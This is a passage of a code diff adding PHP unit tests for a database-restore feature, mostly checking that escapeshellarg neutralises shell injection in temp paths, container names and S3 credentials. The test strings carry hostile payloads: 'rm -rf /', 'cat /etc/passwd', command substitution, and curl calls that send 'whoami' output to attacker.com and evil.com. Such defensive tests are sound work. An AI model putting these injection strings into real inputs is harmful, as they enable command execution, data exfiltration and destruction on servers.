expect(isSafeTmpPath(null))->toBeFalse();
|
||||
expect(isSafeTmpPath(''))->toBeFalse();
|
||||
|
||||
// Null byte injection
|
||||
expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse();
|
||||
|
||||
// Valid edge cases
|
||||
expect(isSafeTmpPath('/tmp/x'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue();
|
||||
});
|
||||
});
|
||||
118
tests/Unit/RestoreJobFinishedShellEscapingTest.php
Normal file
118
tests/Unit/RestoreJobFinishedShellEscapingTest.php
Normal file
@@ -0,0 +1,118 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for shell metacharacter escaping in restore events.
|
||||
*
|
||||
* These tests verify that escapeshellarg() properly neutralizes shell injection
|
||||
* attempts in paths that pass isSafeTmpPath() validation.
|
||||
*/
|
||||
describe('Shell metacharacter escaping in restore events', function () {
|
||||
it('demonstrates that malicious paths can pass isSafeTmpPath but are neutralized by escapeshellarg', function () {
|
||||
// This path passes isSafeTmpPath() validation (it's within /tmp/, no .., no null bytes)
|
||||
$maliciousPath = "/tmp/file'; whoami; '";
|
||||
|
||||
// Path validation passes - it's a valid /tmp/ path
|
||||
expect(isSafeTmpPath($maliciousPath))->toBeTrue();
|
||||
|
||||
// But when escaped, the shell metacharacters become literal strings
|
||||
$escaped = escapeshellarg($maliciousPath);
|
||||
|
||||
// The escaped version wraps in single quotes and escapes internal single quotes
|
||||
expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''");
|
||||
|
||||
// Building a command with escaped path is safe
|
||||
$command = "rm -f {$escaped}";
|
||||
|
||||
// The command contains the quoted path, not an unquoted injection
|
||||
expect($command)->toStartWith("rm -f '");
|
||||
expect($command)->toEndWith("'");
|
||||
});
|
||||
|
||||
it('escapes paths with semicolon injection attempts', function () {
|
||||
$path = '/tmp/backup; rm -rf /; echo';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'");
|
||||
|
||||
// The semicolons are inside quotes, so they're treated as literals
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'");
|
||||
});
|
||||
|
||||
it('escapes paths with backtick command substitution attempts', function () {
|
||||
$path = '/tmp/backup`whoami`.sql';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup`whoami`.sql'");
|
||||
|
||||
// Backticks inside single quotes are not executed
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'");
|
||||
});
|
||||
|
||||
it('escapes paths with $() command substitution attempts', function () {
|
||||
$path = '/tmp/backup$(id).sql';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup\$(id).sql'");
|
||||
|
||||
// $() inside single quotes is not executed
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'");
|
||||
});
|
||||
|
||||
it('escapes paths with pipe injection attempts', function () {
|
||||
$path = '/tmp/backup | cat /etc/passwd';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'");
|
||||
|
||||
// Pipe inside single quotes is treated as literal
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'");
|
||||
});
|
||||
|
||||
it('escapes paths with newline injection attempts', function () {
|
||||
$path = "/tmp/backup\nwhoami";
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
// Newline is preserved inside single quotes
|
||||
expect($escaped)->toContain("\n");
|
||||
expect($escaped)->toStartWith("'");
|
||||
expect($escaped)->toEndWith("'");
|
||||
});
|
||||
|
||||
it('handles normal paths without issues', function () {
|
||||
$normalPaths = [
|
||||
'/tmp/restore-backup.sql',
|
||||
'/tmp/restore-script.sh',
|
||||
'/tmp/database-dump-abc123.sql',
|
||||
'/tmp/deeply/nested/path/to/file.sql',
|
||||
];
|
||||
|
||||
foreach ($normalPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
// Normal paths are just wrapped in single quotes
|
||||
expect($escaped)->toBe("'{$path}'");
|
||||
}
|
||||
});
|
||||
|
||||
it('escapes container names with injection attempts', function () {
|
||||
// Container names are not validated by isSafeTmpPath, so escaping is critical
|
||||
$maliciousContainer = 'container"; rm -rf /; echo "pwned';
|
||||
$escaped = escapeshellarg($maliciousContainer);
|
||||
|
||||
expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'");
|
||||
|
||||
// Building a docker command with escaped container is safe
|
||||
$command = "docker rm -f {$escaped}";
|
||||
expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'");
|
||||
});
|
||||
});
|
||||
98
tests/Unit/S3RestoreSecurityTest.php
Normal file
98
tests/Unit/S3RestoreSecurityTest.php
Normal file
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
|
||||
// Test that escapeshellarg works correctly for various malicious inputs
|
||||
// This is the core security mechanism used in Import.php line 407-410
|
||||
|
||||
// Test case 1: Secret with command injection attempt
|
||||
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
|
||||
$escapedSecret = escapeshellarg($maliciousSecret);
|
||||
|
||||
// escapeshellarg should wrap in single quotes and escape any single quotes
|
||||
expect($escapedSecret)->toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
|
||||
|
||||
// When used in a command, the shell metacharacters should be treated as literal strings
|
||||
$command = "echo {$escapedSecret}";
|
||||
// The dangerous part (";curl) is now safely inside single quotes
|
||||
expect($command)->toContain("'secret"); // Properly quoted
|
||||
expect($escapedSecret)->toStartWith("'"); // Starts with quote
|
||||
expect($escapedSecret)->toEndWith("'"); // Ends with quote
|
||||
|
||||
// Test case 2: Endpoint with command injection
|
||||
$maliciousEndpoint = 'https://s3.example.com";whoami;"';
|
||||
$escapedEndpoint = escapeshellarg($maliciousEndpoint);
|
||||
|
||||
expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
|
||||
|
||||
// Test case 3: Key with destructive command
|
||||
$maliciousKey = 'access-key";rm -rf /;echo "';
|
||||
$escapedKey = escapeshellarg($maliciousKey);
|
||||
|
||||
expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
|
||||
|
||||
// Test case 4: Normal credentials should work fine
|
||||
$normalSecret = 'MySecretKey123';
|
||||
$normalEndpoint = 'https://s3.amazonaws.com';
|
||||
$normalKey = 'AKIAIOSFODNN7EXAMPLE';
|
||||
|
||||
expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
|
||||
expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
|
||||
expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
|
||||
});
|
||||
|
||||
it('verifies command injection is prevented in mc alias set command format', function () {
|
||||
// Simulate the exact scenario from Import.php:407-410
|
||||
$containerName = 's3-restore-test-uuid';
|
||||
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
|
||||
$key = 'AKIATEST";whoami;"';
|
||||
$secret = 'SecretKey";rm -rf /tmp;echo "';
|
||||
|
||||
// Before fix (vulnerable):
|
||||
// $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
|
||||
// This would allow command injection because $endpoint and $key are not quoted,
|
||||
// and $secret's double quotes can be escaped
|
||||
|
||||
// After fix (secure):
|
||||
$escapedEndpoint = escapeshellarg($endpoint);
|
||||
$escapedKey = escapeshellarg($key);
|
||||
$escapedSecret = escapeshellarg($secret);
|
||||
$secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
|
||||
|
||||
// Verify the secure command has properly escaped values
|
||||
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
|
||||
expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
|
||||
expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
|
||||
|
||||
// Verify that the command injection attempts are neutered (they're literal strings now)
|
||||
// The values are wrapped in single quotes, so shell metacharacters are treated as literals
|
||||
// Check that all three parameters are properly quoted
|
||||
expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
|
||||
|
||||
// Verify the dangerous parts are inside quotes (between the quote marks)
|
||||
// The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
|
||||
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
|
||||
|
||||
// Ensure we're NOT using the old vulnerable pattern with unquoted values
|
||||
$vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
|
||||
expect($secureCommand)->not->toContain($vulnerablePattern);
|
||||
});
|
||||
|
||||
it('handles S3 secrets with single quotes correctly', function () {
|
||||
// Test edge case: secret containing single quotes
|
||||
// escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
|
||||
$secretWithQuote = "my'secret'key";
|
||||
$escaped = escapeshellarg($secretWithQuote);
|
||||
|
||||
// The expected output format is: 'my'\''secret'\''key'
|
||||
// This is how escapeshellarg handles single quotes in the input
|
||||
expect($escaped)->toBe("'my'\\''secret'\\''key'");
|
||||
|
||||
// Verify it would work in a command context
|
||||
$containerName = 's3-restore-test';
|
||||
$endpoint = escapeshellarg('https://s3.amazonaws.com');
|
||||
$key = escapeshellarg('AKIATEST');
|
||||
$command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
|
||||
|
||||
// The command should contain the properly escaped secret
|
||||
expect($command)->toContain("'my'\\''secret'\\''key'");
|
||||
});
|
||||
75
tests/Unit/S3RestoreTest.php
Normal file
75
tests/Unit/S3RestoreTest.php
Normal file
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
test('S3 path is cleaned correctly', function () {
|
||||
// Test that leading slashes are removed
|
||||
$path = '/backups/database.gz';
|
||||
$cleanPath = ltrim($path, '/');
|
||||
|
||||
expect($cleanPath)->toBe('backups/database.gz');
|
||||
|
||||
// Test path without leading slash remains unchanged
|
||||
$path2 = 'backups/database.gz';
|
||||
$cleanPath2 = ltrim($path2, '/');
|
||||
|
||||
expect($cleanPath2)->toBe('backups/database.gz');
|
||||
});
|
||||
|
||||
test('S3 container name is generated correctly', function () {
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$containerName = "s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($containerName)->toBe('s3-restore-test-database-uuid');
|
||||
expect($containerName)->toStartWith('s3-restore-');
|
||||
});
|
||||
|
||||
test('S3 download directory is created correctly', function () {
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($downloadDir)->toBe('/tmp/s3-restore-test-database-uuid');
|
||||
expect($downloadDir)->toStartWith('/tmp/s3-restore-');
|
||||
});
|
||||
|
||||
test('cancelS3Download cleans up correctly', function () {
|
||||
// Test that cleanup directory path is correct
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
|
||||
$containerName = "s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($downloadDir)->toContain($resourceUuid);
|
||||
expect($containerName)->toContain($resourceUuid);
|
||||
});
|
||||
|
||||
test('S3 file path formats are handled correctly', function () {
|
||||
$paths = [
|
||||
'/backups/db.gz',
|
||||
'backups/db.gz',
|
||||
'/nested/path/to/backup.sql.gz',
|
||||
'backup-2025-01-15.gz',
|
||||
];
|
||||
|
||||
foreach ($paths as $path) {
|
||||
$cleanPath = ltrim($path, '/');
|
||||
expect($cleanPath)->not->toStartWith('/');
|
||||
}
|
||||
});
|
||||
|
||||
test('formatBytes helper formats file sizes correctly', function () {
|
||||
// Test various file sizes
|
||||
expect(formatBytes(0))->toBe('0 B');
|
||||
expect(formatBytes(null))->toBe('0 B');
|
||||
expect(formatBytes(1024))->toBe('1 KB');
|
||||
expect(formatBytes(1048576))->toBe('1 MB');
|
||||
expect(formatBytes(1073741824))->toBe('1 GB');
|
||||
expect(formatBytes(1099511627776))->toBe('1 TB');
|
||||
|
||||
// Test with different sizes
|
||||
expect(formatBytes(512))->toBe('512 B');
|
||||
expect(formatBytes(2048))->toBe('2 KB');
|
||||
expect(formatBytes(5242880))->toBe('5 MB');
|
||||
expect(formatBytes(10737418240))->toBe('10 GB');
|
||||
|
||||
// Test precision
|
||||
expect(formatBytes(1536, 2))->toBe('1.5 KB');
|
||||
expect(formatBytes(1572864, 1))->toBe('1.5 MB');
|
||||
});
|
||||
53
tests/Unit/S3StorageTest.php
Normal file
53
tests/Unit/S3StorageTest.php
Normal file
@@ -0,0 +1,53 @@
|
||||
<?php
|
||||
|
||||
use App\Models\S3Storage;
|
||||
|
||||
test('S3Storage model has correct cast definitions', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
$casts = $s3Storage->getCasts();
|
||||
|
||||
expect($casts['is_usable'])->toBe('boolean');
|
||||
expect($casts['key'])->toBe('encrypted');
|
||||
expect($casts['secret'])->toBe('encrypted');
|
||||
});
|
||||
|
||||
test('S3Storage isUsable method returns is_usable attribute value', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
|
||||
// Set the attribute directly to avoid encryption
|
||||
$s3Storage->setRawAttributes(['is_usable' => true]);
|
||||
expect($s3Storage->isUsable())->toBeTrue();
|
||||
|
||||
$s3Storage->setRawAttributes(['is_usable' => false]);
|
||||
expect($s3Storage->isUsable())->toBeFalse();
|
||||
|
||||
$s3Storage->setRawAttributes(['is_usable' => null]);
|
||||
expect($s3Storage->isUsable())->toBeNull();
|
||||
});
|
||||
|
||||
test('S3Storage awsUrl method constructs correct URL format', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
|
||||
// Set attributes without triggering encryption
|
||||
$s3Storage->setRawAttributes([
|
||||
'endpoint' => 'https://s3.amazonaws.com',
|
||||
'bucket' => 'test-bucket',
|
||||
]);
|
||||
|
||||
expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket');
|
||||
|
||||
// Test with custom endpoint
|
||||
$s3Storage->setRawAttributes([
|
||||
'endpoint' => 'https://minio.example.com:9000',
|
||||
'bucket' => 'backups',
|
||||
]);
|
||||
|
||||
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
|
||||
});
|
||||
|
||||
test('S3Storage model is guarded correctly', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
|
||||
// The model should have $guarded = [] which means everything is fillable
|
||||
expect($s3Storage->getGuarded())->toBe([]);
|
||||
});
|
||||
Reference in New Issue
Block a user